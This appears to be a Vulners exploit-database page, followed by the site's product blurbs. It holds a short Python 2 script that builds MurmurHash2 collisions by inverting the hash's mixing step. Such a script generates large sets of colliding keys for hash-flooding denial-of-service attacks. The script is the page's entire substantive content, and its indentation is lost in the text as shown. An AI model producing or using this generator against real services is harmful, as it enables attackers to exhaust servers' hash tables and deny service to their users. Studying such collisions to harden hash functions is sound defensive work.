# murmurhash2_collision.py,用于构造碰撞:
```
# -*- coding:utf-8 -*-
import struct
import os
INV_MAGIC = 0xe59b19bd
R = 24
MASK_32 = 0xffffffff
DIFF = "\x00\x00\x00\x80\x00\x00\x00\x80"
def collision(blocks = 2):
num_of_collision = 1 << blocks
in0 = os.urandom(8 * blocks)
in1 = "".join(chr(ord(in0[i]) ^ ord(DIFF[i % 8])) for i in xrange(0, 8 * blocks))
in0 = __invert(in0)
in1 = __invert(in1)
# return a generator to reduce memory cost
return ("".join((in0[8*index:8*index + 8]
if collision_num & (1 << index)
else in1[8*index:8*index + 8]
) for index in xrange(0, blocks))
for collision_num in xrange(0, num_of_collision))
def __invert(serial):
result = []
append = result.append
for int32 in (struct.unpack("L", serial[block:block+4])[0] for block in range(0,len(serial), 4)):
x = (int32 * INV_MAGIC) & MASK_32
t = x >> R
u = (x ^ t) >> R
v = (x ^ u) >> R
x ^= v
x = (x * INV_MAGIC) & MASK_32
append(struct.pack("L", x))
return "".join(result)
```
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation